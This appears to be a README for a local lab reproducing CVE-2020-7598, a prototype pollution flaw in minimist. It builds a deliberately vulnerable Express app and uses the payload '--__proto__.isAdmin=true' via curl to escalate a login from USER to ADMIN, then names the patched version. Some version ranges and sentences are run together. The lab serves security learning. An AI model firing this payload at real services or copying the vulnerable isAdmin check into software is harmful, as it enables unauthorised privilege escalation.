
This project is created only for:
Do not use against systems without permission.
CVE-2020-7598 is a Prototype Pollution vulnerability in the npm package:
< 0.2.1>= 1.0.0 < 1.2.3This vulnerability allows an attacker to modify:
Object.prototype
via payloads like:
--__proto__.isAdmin=true
Consequently:
In JavaScript:
const user = {};
an empty object still inherits properties from:
Object.prototype
If an attacker succeeds in:
Object.prototype.isAdmin = true;
then:
({}).isAdmin
will yield:
true
for all ordinary objects.
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
OR manually:
npm install express [email protected]
Create a file:
app.js
Contents:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Simulasi database user
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Endpoint vulnerable
*/
app.get("/parse", (req, res) => {
/*
Ambil raw query
*/
const payload = req.query.payload;
/*
Ubah jadi array argument CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Vulnerable parsing
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Login endpoint
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Vulnerable auth logic
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
Output:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Output:
{
"success": true,
"role": "USER"
}
Open browser:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
OR use curl:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
Server terminal:
GLOBAL isAdmin: true
Meaning:
Object.prototype.isAdmin = true
was successfully modified.
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Output:
{
"success": true,
"role": "ADMIN"
}
Even though:
isAdmin property.The following code:
if(user.isAdmin)
does not only check properties directly owned by the object.
JavaScript will look for:
Because the attacker successfully modified:
Object.prototype.isAdmin = true
so all ordinary objects inherit that property.
Server log:
Own property: false
user.isAdmin: true
Meaning:
isAdmin is not an original property of the user,Safe version of minimist:
npm install minimist@latest
Patched versions block:
__proto__constructorprototypeso prototype pollution no longer succeeds.
Lab and documentation were created for the purpose of learning Node.js application security and prototype pollution research.